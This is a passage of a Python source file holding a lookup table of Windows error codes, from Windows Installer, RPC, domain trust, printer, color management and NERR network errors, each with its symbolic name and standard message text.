opened. Contact the application" " vendor to verify that this is a valid Windows Installer package." ), }, 0x00000655: { "code": "ERROR_INSTALL_UI_FAILURE", "message": ( "There was an error starting the Windows Installer service user interface." " Contact your support personnel." ), }, 0x00000656: { "code": "ERROR_INSTALL_LOG_FAILURE", "message": ( "Error opening installation log file. Verify that the specified log file" " location exists and that you can write to it." ), }, 0x00000657: { "code": "ERROR_INSTALL_LANGUAGE_UNSUPPORTED", "message": ( "The language of this installation package is not supported by your system." ), }, 0x00000658: { "code": "ERROR_INSTALL_TRANSFORM_FAILURE", "message": ( "Error applying transforms. Verify that the specified transform paths are" " valid." ), }, 0x00000659: { "code": "ERROR_INSTALL_PACKAGE_REJECTED", "message": ( "This installation is forbidden by system policy. Contact your system" " administrator." ), }, 0x0000065A: { "code": "ERROR_FUNCTION_NOT_CALLED", "message": "Function could not be executed.", }, 0x0000065B: { "code": "ERROR_FUNCTION_FAILED", "message": "Function failed during execution.", }, 0x0000065C: { "code": "ERROR_INVALID_TABLE", "message": "Invalid or unknown table specified.", }, 0x0000065D: { "code": "ERROR_DATATYPE_MISMATCH", "message": "Data supplied is of wrong type.", }, 0x0000065E: { "code": "ERROR_UNSUPPORTED_TYPE", "message": "Data of this type is not supported.", }, 0x0000065F: { "code": "ERROR_CREATE_FAILED", "message": ( "The Windows Installer service failed to start. Contact your support" " personnel." ), }, 0x00000660: { "code": "ERROR_INSTALL_TEMP_UNWRITABLE", "message": ( "The Temp folder is on a drive that is full or is inaccessible. Free up" " space on the drive or verify that you have write permission on the Temp" " folder." ), }, 0x00000661: { "code": "ERROR_INSTALL_PLATFORM_UNSUPPORTED", "message": ( "This installation package is not supported by this processor type. Contact" " your product vendor." ), }, 0x00000662: { "code": "ERROR_INSTALL_NOTUSED", "message": "Component not used on this computer.", }, 0x00000663: { "code": "ERROR_PATCH_PACKAGE_OPEN_FAILED", "message": ( "This update package could not be opened. Verify that the update package" " exists and that you can access it, or contact the application vendor to" " verify that this is a valid Windows Installer update package." ), }, 0x00000664: { "code": "ERROR_PATCH_PACKAGE_INVALID", "message": ( "This update package could not be opened. Contact the application vendor to" " verify that this is a valid Windows Installer update package." ), }, 0x00000665: { "code": "ERROR_PATCH_PACKAGE_UNSUPPORTED", "message": ( "This update package cannot be processed by the Windows Installer service." " You must install a Windows service pack that contains a newer version of" " the Windows Installer service." ), }, 0x00000666: { "code": "ERROR_PRODUCT_VERSION", "message": ( "Another version of this product is already installed. Installation of this" " version cannot continue. To configure or remove the existing version of" " this product, use Add/Remove Programs in Control Panel." ), }, 0x00000667: { "code": "ERROR_INVALID_COMMAND_LINE", "message": ( "Invalid command-line argument. Consult the Windows Installer SDK for" " detailed command line help." ), }, 0x00000668: { "code": "ERROR_INSTALL_REMOTE_DISALLOWED", "message": ( "Only administrators have permission to add, remove, or configure server" " software during a Terminal Services remote session. If you want to" " install or configure software on the server, contact your network" " administrator." ), }, 0x00000669: { "code": "ERROR_SUCCESS_REBOOT_INITIATED", "message": ( "The requested operation completed successfully. The system will be" " restarted so the changes can take effect." ), }, 0x0000066A: { "code": "ERROR_PATCH_TARGET_NOT_FOUND", "message": ( "The upgrade cannot be installed by the Windows Installer service because" " the program to be upgraded might be missing, or the upgrade might update" " a different version of the program. Verify that the program to be" " upgraded exists on your computer and that you have the correct upgrade." ), }, 0x0000066B: { "code": "ERROR_PATCH_PACKAGE_REJECTED", "message": ( "The update package is not permitted by a software restriction policy." ), }, 0x0000066C: { "code": "ERROR_INSTALL_TRANSFORM_REJECTED", "message": ( "One or more customizations are not permitted by a software restriction" " policy." ), }, 0x0000066D: { "code": "ERROR_INSTALL_REMOTE_PROHIBITED", "message": ( "The Windows Installer does not permit installation from a Remote Desktop" " Connection." ), }, 0x0000066E: { "code": "ERROR_PATCH_REMOVAL_UNSUPPORTED", "message": "Uninstallation of the update package is not supported.", }, 0x0000066F: { "code": "ERROR_UNKNOWN_PATCH", "message": "The update is not applied to this product.", }, 0x00000670: { "code": "ERROR_PATCH_NO_SEQUENCE", "message": "No valid sequence could be found for the set of updates.", }, 0x00000671: { "code": "ERROR_PATCH_REMOVAL_DISALLOWED", "message": "Update removal was disallowed by policy.", }, 0x00000672: { "code": "ERROR_INVALID_PATCH_XML", "message": "The XML update data is invalid.", }, 0x00000673: { "code": "ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT", "message": ( "Windows Installer does not permit updating of managed advertised products." " At least one feature of the product must be installed before applying the" " update." ), }, 0x00000674: { "code": "ERROR_INSTALL_SERVICE_SAFEBOOT", "message": ( "The Windows Installer service is not accessible in Safe Mode. Try again" " when your computer is not in Safe Mode or you can use System Restore to" " return your machine to a previous good state." ), }, 0x000006A4: { "code": "RPC_S_INVALID_STRING_BINDING", "message": "The string binding is invalid.", }, 0x000006A5: { "code": "RPC_S_WRONG_KIND_OF_BINDING", "message": "The binding handle is not the correct type.", }, 0x000006A6: { "code": "RPC_S_INVALID_BINDING", "message": "The binding handle is invalid.", }, 0x000006A7: { "code": "RPC_S_PROTSEQ_NOT_SUPPORTED", "message": "The RPC protocol sequence is not supported.", }, 0x000006A8: { "code": "RPC_S_INVALID_RPC_PROTSEQ", "message": "The RPC protocol sequence is invalid.", }, 0x000006A9: { "code": "RPC_S_INVALID_STRING_UUID", "message": "The string UUID is invalid.", }, 0x000006AA: { "code": "RPC_S_INVALID_ENDPOINT_FORMAT", "message": "The endpoint format is invalid.", }, 0x000006AB: { "code": "RPC_S_INVALID_NET_ADDR", "message": "The network address is invalid.", }, 0x000006AC: { "code": "RPC_S_NO_ENDPOINT_FOUND", "message": "No endpoint was found.", }, 0x000006AD: { "code": "RPC_S_INVALID_TIMEOUT", "message": "The time-out value is invalid.", }, 0x000006AE: { "code": "RPC_S_OBJECT_NOT_FOUND", "message": "The object UUID) was not found.", }, 0x000006AF: { "code": "RPC_S_ALREADY_REGISTERED", "message": "The object UUID) has already been registered.", }, 0x000006B0: { "code": "RPC_S_TYPE_ALREADY_REGISTERED", "message": "The type UUID has already been registered.", }, 0x000006B1: { "code": "RPC_S_ALREADY_LISTENING", "message": "The RPC server is already listening.", }, 0x000006B2: { "code": "RPC_S_NO_PROTSEQS_REGISTERED", "message": "No protocol sequences have been registered.", }, 0x000006B3: { "code": "RPC_S_NOT_LISTENING", "message": "The RPC server is not listening.", }, 0x000006B4: { "code": "RPC_S_UNKNOWN_MGR_TYPE", "message": "The manager type is unknown.", }, 0x000006B5: {"code": "RPC_S_UNKNOWN_IF", "message": "The interface is unknown."}, 0x000006B6: {"code": "RPC_S_NO_BINDINGS", "message": "There are no bindings."}, 0x000006B7: { "code": "RPC_S_NO_PROTSEQS", "message": "There are no protocol sequences.", }, 0x000006B8: { "code": "RPC_S_CANT_CREATE_ENDPOINT", "message": "The endpoint cannot be created.", }, 0x000006B9: { "code": "RPC_S_OUT_OF_RESOURCES", "message": "Not enough resources are available to complete this operation.", }, 0x000006BA: { "code": "RPC_S_SERVER_UNAVAILABLE", "message": "The RPC server is unavailable.", }, 0x000006BB: { "code": "RPC_S_SERVER_TOO_BUSY", "message": "The RPC server is too busy to complete this operation.", }, 0x000006BC: { "code": "RPC_S_INVALID_NETWORK_OPTIONS", "message": "The network options are invalid.", }, 0x000006BD: { "code": "RPC_S_NO_CALL_ACTIVE", "message": "There are no RPCs active on this thread.", }, 0x000006BE: {"code": "RPC_S_CALL_FAILED", "message": "The RPC failed."}, 0x000006BF: { "code": "RPC_S_CALL_FAILED_DNE", "message": "The RPC failed and did not execute.", }, 0x000006C0: { "code": "RPC_S_PROTOCOL_ERROR", "message": "An RPC protocol error occurred.", }, 0x000006C1: { "code": "RPC_S_PROXY_ACCESS_DENIED", "message": "Access to the HTTP proxy is denied.", }, 0x000006C2: { "code": "RPC_S_UNSUPPORTED_TRANS_SYN", "message": "The transfer syntax is not supported by the RPC server.", }, 0x000006C4: { "code": "RPC_S_UNSUPPORTED_TYPE", "message": "The UUID type is not supported.", }, 0x000006C5: {"code": "RPC_S_INVALID_TAG", "message": "The tag is invalid."}, 0x000006C6: { "code": "RPC_S_INVALID_BOUND", "message": "The array bounds are invalid.", }, 0x000006C7: { "code": "RPC_S_NO_ENTRY_NAME", "message": "The binding does not contain an entry name.", }, 0x000006C8: { "code": "RPC_S_INVALID_NAME_SYNTAX", "message": "The name syntax is invalid.", }, 0x000006C9: { "code": "RPC_S_UNSUPPORTED_NAME_SYNTAX", "message": "The name syntax is not supported.", }, 0x000006CB: { "code": "RPC_S_UUID_NO_ADDRESS", "message": "No network address is available to use to construct a UUID.", }, 0x000006CC: { "code": "RPC_S_DUPLICATE_ENDPOINT", "message": "The endpoint is a duplicate.", }, 0x000006CD: { "code": "RPC_S_UNKNOWN_AUTHN_TYPE", "message": "The authentication type is unknown.", }, 0x000006CE: { "code": "RPC_S_MAX_CALLS_TOO_SMALL", "message": "The maximum number of calls is too small.", }, 0x000006CF: {"code": "RPC_S_STRING_TOO_LONG", "message": "The string is too long."}, 0x000006D0: { "code": "RPC_S_PROTSEQ_NOT_FOUND", "message": "The RPC protocol sequence was not found.", }, 0x000006D1: { "code": "RPC_S_PROCNUM_OUT_OF_RANGE", "message": "The procedure number is out of range.", }, 0x000006D2: { "code": "RPC_S_BINDING_HAS_NO_AUTH", "message": "The binding does not contain any authentication information.", }, 0x000006D3: { "code": "RPC_S_UNKNOWN_AUTHN_SERVICE", "message": "The authentication service is unknown.", }, 0x000006D4: { "code": "RPC_S_UNKNOWN_AUTHN_LEVEL", "message": "The authentication level is unknown.", }, 0x000006D5: { "code": "RPC_S_INVALID_AUTH_IDENTITY", "message": "The security context is invalid.", }, 0x000006D6: { "code": "RPC_S_UNKNOWN_AUTHZ_SERVICE", "message": "The authorization service is unknown.", }, 0x000006D7: {"code": "EPT_S_INVALID_ENTRY", "message": "The entry is invalid."}, 0x000006D8: { "code": "EPT_S_CANT_PERFORM_OP", "message": "The server endpoint cannot perform the operation.", }, 0x000006D9: { "code": "EPT_S_NOT_REGISTERED", "message": "There are no more endpoints available from the endpoint mapper.", }, 0x000006DA: { "code": "RPC_S_NOTHING_TO_EXPORT", "message": "No interfaces have been exported.", }, 0x000006DB: { "code": "RPC_S_INCOMPLETE_NAME", "message": "The entry name is incomplete.", }, 0x000006DC: { "code": "RPC_S_INVALID_VERS_OPTION", "message": "The version option is invalid.", }, 0x000006DD: { "code": "RPC_S_NO_MORE_MEMBERS", "message": "There are no more members.", }, 0x000006DE: { "code": "RPC_S_NOT_ALL_OBJS_UNEXPORTED", "message": "There is nothing to unexport.", }, 0x000006DF: { "code": "RPC_S_INTERFACE_NOT_FOUND", "message": "The interface was not found.", }, 0x000006E0: { "code": "RPC_S_ENTRY_ALREADY_EXISTS", "message": "The entry already exists.", }, 0x000006E1: {"code": "RPC_S_ENTRY_NOT_FOUND", "message": "The entry is not found."}, 0x000006E2: { "code": "RPC_S_NAME_SERVICE_UNAVAILABLE", "message": "The name service is unavailable.", }, 0x000006E3: { "code": "RPC_S_INVALID_NAF_ID", "message": "The network address family is invalid.", }, 0x000006E4: { "code": "RPC_S_CANNOT_SUPPORT", "message": "The requested operation is not supported.", }, 0x000006E5: { "code": "RPC_S_NO_CONTEXT_AVAILABLE", "message": "No security context is available to allow impersonation.", }, 0x000006E6: { "code": "RPC_S_INTERNAL_ERROR", "message": "An internal error occurred in an RPC.", }, 0x000006E7: { "code": "RPC_S_ZERO_DIVIDE", "message": "The RPC server attempted an integer division by zero.", }, 0x000006E8: { "code": "RPC_S_ADDRESS_ERROR", "message": "An addressing error occurred in the RPC server.", }, 0x000006E9: { "code": "RPC_S_FP_DIV_ZERO", "message": ( "A floating-point operation at the RPC server caused a division by zero." ), }, 0x000006EA: { "code": "RPC_S_FP_UNDERFLOW", "message": "A floating-point underflow occurred at the RPC server.", }, 0x000006EB: { "code": "RPC_S_FP_OVERFLOW", "message": "A floating-point overflow occurred at the RPC server.", }, 0x000006EC: { "code": "RPC_X_NO_MORE_ENTRIES", "message": ( "The list of RPC servers available for the binding of auto handles has been" " exhausted." ), }, 0x000006ED: { "code": "RPC_X_SS_CHAR_TRANS_OPEN_FAIL", "message": "Unable to open the character translation table file.", }, 0x000006EE: { "code": "RPC_X_SS_CHAR_TRANS_SHORT_FILE", "message": ( "The file containing the character translation table has fewer than 512" " bytes." ), }, 0x000006EF: { "code": "RPC_X_SS_IN_NULL_CONTEXT", "message": ( "A null context handle was passed from the client to the host during an" " RPC." ), }, 0x000006F1: { "code": "RPC_X_SS_CONTEXT_DAMAGED", "message": "The context handle changed during an RPC.", }, 0x000006F2: { "code": "RPC_X_SS_HANDLES_MISMATCH", "message": "The binding handles passed to an RPC do not match.", }, 0x000006F3: { "code": "RPC_X_SS_CANNOT_GET_CALL_HANDLE", "message": "The stub is unable to get the RPC handle.", }, 0x000006F4: { "code": "RPC_X_NULL_REF_POINTER", "message": "A null reference pointer was passed to the stub.", }, 0x000006F5: { "code": "RPC_X_ENUM_VALUE_OUT_OF_RANGE", "message": "The enumeration value is out of range.", }, 0x000006F6: { "code": "RPC_X_BYTE_COUNT_TOO_SMALL", "message": "The byte count is too small.", }, 0x000006F7: { "code": "RPC_X_BAD_STUB_DATA", "message": "The stub received bad data.", }, 0x000006F8: { "code": "ERROR_INVALID_USER_BUFFER", "message": "The supplied user buffer is not valid for the requested operation.", }, 0x000006F9: { "code": "ERROR_UNRECOGNIZED_MEDIA", "message": "The disk media is not recognized. It might not be formatted.", }, 0x000006FA: { "code": "ERROR_NO_TRUST_LSA_SECRET", "message": "The workstation does not have a trust secret.", }, 0x000006FB: { "code": "ERROR_NO_TRUST_SAM_ACCOUNT", "message": ( "The security database on the server does not have a computer account for" " this workstation trust relationship." ), }, 0x000006FC: { "code": "ERROR_TRUSTED_DOMAIN_FAILURE", "message": ( "The trust relationship between the primary domain and the trusted domain" " failed." ), }, 0x000006FD: { "code": "ERROR_TRUSTED_RELATIONSHIP_FAILURE", "message": ( "The trust relationship between this workstation and the primary domain" " failed." ), }, 0x000006FE: {"code": "ERROR_TRUST_FAILURE", "message": "The network logon failed."}, 0x000006FF: { "code": "RPC_S_CALL_IN_PROGRESS", "message": "An RPC is already in progress for this thread.", }, 0x00000700: { "code": "ERROR_NETLOGON_NOT_STARTED", "message": ( "An attempt was made to log on, but the network logon service was not" " started." ), }, 0x00000701: { "code": "ERROR_ACCOUNT_EXPIRED", "message": "The user's account has expired.", }, 0x00000702: { "code": "ERROR_REDIRECTOR_HAS_OPEN_HANDLES", "message": "The redirector is in use and cannot be unloaded.", }, 0x00000703: { "code": "ERROR_PRINTER_DRIVER_ALREADY_INSTALLED", "message": "The specified printer driver is already installed.", }, 0x00000704: { "code": "ERROR_UNKNOWN_PORT", "message": "The specified port is unknown.", }, 0x00000705: { "code": "ERROR_UNKNOWN_PRINTER_DRIVER", "message": "The printer driver is unknown.", }, 0x00000706: { "code": "ERROR_UNKNOWN_PRINTPROCESSOR", "message": "The print processor is unknown.", }, 0x00000707: { "code": "ERROR_INVALID_SEPARATOR_FILE", "message": "The specified separator file is invalid.", }, 0x00000708: { "code": "ERROR_INVALID_PRIORITY", "message": "The specified priority is invalid.", }, 0x00000709: { "code": "ERROR_INVALID_PRINTER_NAME", "message": "The printer name is invalid.", }, 0x0000070A: { "code": "ERROR_PRINTER_ALREADY_EXISTS", "message": "The printer already exists.", }, 0x0000070B: { "code": "ERROR_INVALID_PRINTER_COMMAND", "message": "The printer command is invalid.", }, 0x0000070C: { "code": "ERROR_INVALID_DATATYPE", "message": "The specified data type is invalid.", }, 0x0000070D: { "code": "ERROR_INVALID_ENVIRONMENT", "message": "The environment specified is invalid.", }, 0x0000070E: { "code": "RPC_S_NO_MORE_BINDINGS", "message": "There are no more bindings.", }, 0x0000070F: { "code": "ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT", "message": ( "The account used is an interdomain trust account. Use your global user" " account or local user account to access this server." ), }, 0x00000710: { "code": "ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT", "message": ( "The account used is a computer account. Use your global user account or" " local user account to access this server." ), }, 0x00000711: { "code": "ERROR_NOLOGON_SERVER_TRUST_ACCOUNT", "message": ( "The account used is a server trust account. Use your global user account" " or local user account to access this server." ), }, 0x00000712: { "code": "ERROR_DOMAIN_TRUST_INCONSISTENT", "message": ( "The name or SID of the domain specified is inconsistent with the trust" " information for that domain." ), }, 0x00000713: { "code": "ERROR_SERVER_HAS_OPEN_HANDLES", "message": "The server is in use and cannot be unloaded.", }, 0x00000714: { "code": "ERROR_RESOURCE_DATA_NOT_FOUND", "message": "The specified image file did not contain a resource section.", }, 0x00000715: { "code": "ERROR_RESOURCE_TYPE_NOT_FOUND", "message": "The specified resource type cannot be found in the image file.", }, 0x00000716: { "code": "ERROR_RESOURCE_NAME_NOT_FOUND", "message": "The specified resource name cannot be found in the image file.", }, 0x00000717: { "code": "ERROR_RESOURCE_LANG_NOT_FOUND", "message": ( "The specified resource language ID cannot be found in the image file." ), }, 0x00000718: { "code": "ERROR_NOT_ENOUGH_QUOTA", "message": "Not enough quota is available to process this command.", }, 0x00000719: { "code": "RPC_S_NO_INTERFACES", "message": "No interfaces have been registered.", }, 0x0000071A: {"code": "RPC_S_CALL_CANCELLED", "message": "The RPC was canceled."}, 0x0000071B: { "code": "RPC_S_BINDING_INCOMPLETE", "message": "The binding handle does not contain all the required information.", }, 0x0000071C: { "code": "RPC_S_COMM_FAILURE", "message": "A communications failure occurred during an RPC.", }, 0x0000071D: { "code": "RPC_S_UNSUPPORTED_AUTHN_LEVEL", "message": "The requested authentication level is not supported.", }, 0x0000071E: { "code": "RPC_S_NO_PRINC_NAME", "message": "No principal name is registered.", }, 0x0000071F: { "code": "RPC_S_NOT_RPC_ERROR", "message": "The error specified is not a valid Windows RPC error code.", }, 0x00000720: { "code": "RPC_S_UUID_LOCAL_ONLY", "message": "A UUID that is valid only on this computer has been allocated.", }, 0x00000721: { "code": "RPC_S_SEC_PKG_ERROR", "message": "A security package-specific error occurred.", }, 0x00000722: { "code": "RPC_S_NOT_CANCELLED", "message": "The thread is not canceled.", }, 0x00000723: { "code": "RPC_X_INVALID_ES_ACTION", "message": "Invalid operation on the encoding/decoding handle.", }, 0x00000724: { "code": "RPC_X_WRONG_ES_VERSION", "message": "Incompatible version of the serializing package.", }, 0x00000725: { "code": "RPC_X_WRONG_STUB_VERSION", "message": "Incompatible version of the RPC stub.", }, 0x00000726: { "code": "RPC_X_INVALID_PIPE_OBJECT", "message": "The RPC pipe object is invalid or corrupted.", }, 0x00000727: { "code": "RPC_X_WRONG_PIPE_ORDER", "message": "An invalid operation was attempted on an RPC pipe object.", }, 0x00000728: { "code": "RPC_X_WRONG_PIPE_VERSION", "message": "Unsupported RPC pipe version.", }, 0x0000076A: { "code": "RPC_S_GROUP_MEMBER_NOT_FOUND", "message": "The group member was not found.", }, 0x0000076B: { "code": "EPT_S_CANT_CREATE", "message": "The endpoint mapper database entry could not be created.", }, 0x0000076C: { "code": "RPC_S_INVALID_OBJECT", "message": "The object UUID is the nil UUID.", }, 0x0000076D: { "code": "ERROR_INVALID_TIME", "message": "The specified time is invalid.", }, 0x0000076E: { "code": "ERROR_INVALID_FORM_NAME", "message": "The specified form name is invalid.", }, 0x0000076F: { "code": "ERROR_INVALID_FORM_SIZE", "message": "The specified form size is invalid.", }, 0x00000770: { "code": "ERROR_ALREADY_WAITING", "message": "The specified printer handle is already being waited on.", }, 0x00000771: { "code": "ERROR_PRINTER_DELETED", "message": "The specified printer has been deleted.", }, 0x00000772: { "code": "ERROR_INVALID_PRINTER_STATE", "message": "The state of the printer is invalid.", }, 0x00000773: { "code": "ERROR_PASSWORD_MUST_CHANGE", "message": ( "The user's password must be changed before logging on the first time." ), }, 0x00000774: { "code": "ERROR_DOMAIN_CONTROLLER_NOT_FOUND", "message": "Could not find the domain controller for this domain.", }, 0x00000775: { "code": "ERROR_ACCOUNT_LOCKED_OUT", "message": ( "The referenced account is currently locked out and cannot be logged on to." ), }, 0x00000776: { "code": "OR_INVALID_OXID", "message": "The object exporter specified was not found.", }, 0x00000777: { "code": "OR_INVALID_OID", "message": "The object specified was not found.", }, 0x00000778: { "code": "OR_INVALID_SET", "message": "The object set specified was not found.", }, 0x00000779: { "code": "RPC_S_SEND_INCOMPLETE", "message": "Some data remains to be sent in the request buffer.", }, 0x0000077A: { "code": "RPC_S_INVALID_ASYNC_HANDLE", "message": "Invalid asynchronous RPC handle.", }, 0x0000077B: { "code": "RPC_S_INVALID_ASYNC_CALL", "message": "Invalid asynchronous RPC call handle for this operation.", }, 0x0000077C: { "code": "RPC_X_PIPE_CLOSED", "message": "The RPC pipe object has already been closed.", }, 0x0000077D: { "code": "RPC_X_PIPE_DISCIPLINE_ERROR", "message": "The RPC call completed before all pipes were processed.", }, 0x0000077E: { "code": "RPC_X_PIPE_EMPTY", "message": "No more data is available from the RPC pipe.", }, 0x0000077F: { "code": "ERROR_NO_SITENAME", "message": "No site name is available for this machine.", }, 0x00000780: { "code": "ERROR_CANT_ACCESS_FILE", "message": "The file cannot be accessed by the system.", }, 0x00000781: { "code": "ERROR_CANT_RESOLVE_FILENAME", "message": "The name of the file cannot be resolved by the system.", }, 0x00000782: { "code": "RPC_S_ENTRY_TYPE_MISMATCH", "message": "The entry is not of the expected type.", }, 0x00000783: { "code": "RPC_S_NOT_ALL_OBJS_EXPORTED", "message": "Not all object UUIDs could be exported to the specified entry.", }, 0x00000784: { "code": "RPC_S_INTERFACE_NOT_EXPORTED", "message": "The interface could not be exported to the specified entry.", }, 0x00000785: { "code": "RPC_S_PROFILE_NOT_ADDED", "message": "The specified profile entry could not be added.", }, 0x00000786: { "code": "RPC_S_PRF_ELT_NOT_ADDED", "message": "The specified profile element could not be added.", }, 0x00000787: { "code": "RPC_S_PRF_ELT_NOT_REMOVED", "message": "The specified profile element could not be removed.", }, 0x00000788: { "code": "RPC_S_GRP_ELT_NOT_ADDED", "message": "The group element could not be added.", }, 0x00000789: { "code": "RPC_S_GRP_ELT_NOT_REMOVED", "message": "The group element could not be removed.", }, 0x0000078A: { "code": "ERROR_KM_DRIVER_BLOCKED", "message": ( "The printer driver is not compatible with a policy enabled on your" " computer that blocks Windows NT 4.0 operating system drivers." ), }, 0x0000078B: { "code": "ERROR_CONTEXT_EXPIRED", "message": "The context has expired and can no longer be used.", }, 0x0000078C: { "code": "ERROR_PER_USER_TRUST_QUOTA_EXCEEDED", "message": ( "The current user's delegated trust creation quota has been exceeded." ), }, 0x0000078D: { "code": "ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED", "message": "The total delegated trust creation quota has been exceeded.", }, 0x0000078E: { "code": "ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED", "message": ( "The current user's delegated trust deletion quota has been exceeded." ), }, 0x0000078F: { "code": "ERROR_AUTHENTICATION_FIREWALL_FAILED", "message": ( "Logon failure: The machine you are logging on to is protected by an" " authentication firewall. The specified account is not allowed to" " authenticate to the machine." ), }, 0x00000790: { "code": "ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED", "message": ( "Remote connections to the Print Spooler are blocked by a policy set on" " your machine." ), }, 0x000007D0: { "code": "ERROR_INVALID_PIXEL_FORMAT", "message": "The pixel format is invalid.", }, 0x000007D1: { "code": "ERROR_BAD_DRIVER", "message": "The specified driver is invalid.", }, 0x000007D2: { "code": "ERROR_INVALID_WINDOW_STYLE", "message": "The window style or class attribute is invalid for this operation.", }, 0x000007D3: { "code": "ERROR_METAFILE_NOT_SUPPORTED", "message": "The requested metafile operation is not supported.", }, 0x000007D4: { "code": "ERROR_TRANSFORM_NOT_SUPPORTED", "message": "The requested transformation operation is not supported.", }, 0x000007D5: { "code": "ERROR_CLIPPING_NOT_SUPPORTED", "message": "The requested clipping operation is not supported.", }, 0x000007DA: { "code": "ERROR_INVALID_CMM", "message": "The specified color management module is invalid.", }, 0x000007DB: { "code": "ERROR_INVALID_PROFILE", "message": "The specified color profile is invalid.", }, 0x000007DC: { "code": "ERROR_TAG_NOT_FOUND", "message": "The specified tag was not found.", }, 0x000007DD: { "code": "ERROR_TAG_NOT_PRESENT", "message": "A required tag is not present.", }, 0x000007DE: { "code": "ERROR_DUPLICATE_TAG", "message": "The specified tag is already present.", }, 0x000007DF: { "code": "ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE", "message": "The specified color profile is not associated with any device.", }, 0x000007E0: { "code": "ERROR_PROFILE_NOT_FOUND", "message": "The specified color profile was not found.", }, 0x000007E1: { "code": "ERROR_INVALID_COLORSPACE", "message": "The specified color space is invalid.", }, 0x000007E2: { "code": "ERROR_ICM_NOT_ENABLED", "message": "Image Color Management is not enabled.", }, 0x000007E3: { "code": "ERROR_DELETING_ICM_XFORM", "message": "There was an error while deleting the color transform.", }, 0x000007E4: { "code": "ERROR_INVALID_TRANSFORM", "message": "The specified color transform is invalid.", }, 0x000007E5: { "code": "ERROR_COLORSPACE_MISMATCH", "message": "The specified transform does not match the bitmap's color space.", }, 0x000007E6: { "code": "ERROR_INVALID_COLORINDEX", "message": "The specified named color index is not present in the profile.", }, 0x000007E7: { "code": "ERROR_PROFILE_DOES_NOT_MATCH_DEVICE", "message": ( "The specified profile is intended for a device of a different type than" " the specified device." ), }, 0x00000836: { "code": "NERR_NetNotStarted", "message": "The workstation driver is not installed.", }, 0x00000837: { "code": "NERR_UnknownServer", "message": "The server could not be located.", }, 0x00000838: { "code": "NERR_ShareMem", "message": ( "An internal error occurred. The network cannot access a shared memory" " segment." ), }, 0x00000839: { "code": "NERR_NoNetworkResource", "message": "A network resource shortage occurred.", }, 0x0000083A: { "code": "NERR_RemoteOnly", "message": "This operation is not supported on workstations.", }, 0x0000083B: { "code": "NERR_DevNotRedirected", "message": "The device is not connected.", }, 0x0000083C: { "code": "ERROR_CONNECTED_OTHER_PASSWORD", "message": ( "The network connection was made successfully, but the user had to be" " prompted for a password other than the one originally specified." ), }, 0x0000083D: { "code": "ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT", "message": ( "The network connection was made successfully using default credentials." ), }, 0x00000842: { "code": "NERR_ServerNotStarted", "message": "The Server service is not started.", }, 0x00000843: {"code": "NERR_ItemNotFound", "message": "The queue is empty."}, 0x00000844: { "code": "NERR_UnknownDevDir", "message": "The device or directory does not exist.", }, 0x00000845: { "code": "NERR_RedirectedPath", "message": "The operation is invalid on a redirected resource.", }, 0x00000846: { "code": "NERR_DuplicateShare", "message": "The name has already been shared.", }, 0x00000847: { "code": "NERR_NoRoom", "message": "The server is currently out of the requested resource.", }, 0x00000849: { "code": "NERR_TooManyItems", "message": "Requested addition of items exceeds the maximum allowed.", }, 0x0000084A: { "code": "NERR_InvalidMaxUsers", "message": "The Peer service supports only two simultaneous users.", }, 0x0000084B: { "code": "NERR_BufTooSmall", "message": "The API return buffer is too small.", }, 0x0000084F: {"code": "NERR_RemoteErr", "message": "A remote API error occurred."}, 0x00000853: { "code": "NERR_LanmanIniError", "message": "An error occurred when opening or reading the configuration file.", }, 0x00000858: { "code": "NERR_NetworkError", "message": "A general network error occurred.", }, 0x00000859: { "code": "NERR_WkstaInconsistentState", "message": ( "The Workstation service is in an inconsistent state. Restart the computer" " before restarting the Workstation service." ), }, 0x0000085A: { "code": "NERR_WkstaNotStarted", "message": "The Workstation service has not been started.", }, 0x0000085B: { "code": "NERR_BrowserNotStarted", "message": "The requested information is not available.", }, 0x0000085C: { "code": "NERR_InternalError", "message": "An internal error occurred.", }, 0x0000085D: { "code": "NERR_BadTransactConfig", "message": "The server is not configured for transactions.", }, 0x0000085E: { "code": "NERR_InvalidAPI", "message": "The requested API is not supported on the remote server.", }, 0x0000085F: {"code": "NERR_BadEventName", "message": "The event name is invalid."}, 0x00000860: { "code": "NERR_DupNameReboot", "message": ( "The computer name already exists on the network. Change it and reboot the" " computer." ), }, 0x00000862: { "code": "NERR_CfgCompNotFound", "message": ( "The specified component could not be found in the configuration" " information." ), }, 0x00000863: { "code": "NERR_CfgParamNotFound", "message": ( "The specified parameter could not be found in the configuration" " information." ), }, 0x00000865: { "code": "NERR_LineTooLong", "message": "A line in the configuration file is too long.", }, 0x00000866: {"code": "NERR_QNotFound", "message": "The printer does not exist."}, 0x00000867: { "code": "NERR_JobNotFound", "message": "The print job does not exist.", }, 0x00000868: { "code": "NERR_DestNotFound", "message": "The printer destination cannot be found.", }, 0x00000869: { "code": "NERR_DestExists", "message": "The printer destination already exists.", }, 0x0000086A: {"code": "NERR_QExists", "message": "The print queue already exists."}, 0x0000086B: {"code": "NERR_QNoRoom", "message": "No more printers can be added."}, 0x0000086C: { "code": "NERR_JobNoRoom", "message": "No more print jobs can be added.", }, 0x0000086D: { "code": "NERR_DestNoRoom", "message": "No more printer destinations can be added.", }, 0x0000086E: { "code": "NERR_DestIdle", "message": ( "This printer destination is idle and cannot accept control operations." ), }, 0x0000086F: { "code": "NERR_DestInvalidOp", "message": ( "This printer destination request contains an invalid control function." ), }, 0x00000870: { "code": "NERR_ProcNoRespond", "message": "The print processor is not responding.", }, 0x00000871: { "code": "NERR_SpoolerNotLoaded", "message": "The spooler is not running.", }, 0x00000872: { "code": "NERR_DestInvalidState", "message": ( "This operation cannot be performed on the print destination in its current" " state." ), }, 0x00000873: { "code": "NERR_QinvalidState", "message": ( "This operation cannot be performed on the print queue in its current" " state." ), }, 0x00000874: { "code": "NERR_JobInvalidState", "message": ( "This operation cannot be performed on the print job in its current state." ), }, 0x00000875: { "code": "NERR_SpoolNoMemory", "message": "A spooler memory allocation failure occurred.", }, 0x00000876: { "code": "NERR_DriverNotFound", "message": "The device driver does not exist.", }, 0x00000877: { "code": "NERR_DataTypeInvalid", "message": "The data type is not supported by the print processor.", }, 0x00000878: { "code": "NERR_ProcNotFound", "message": "The 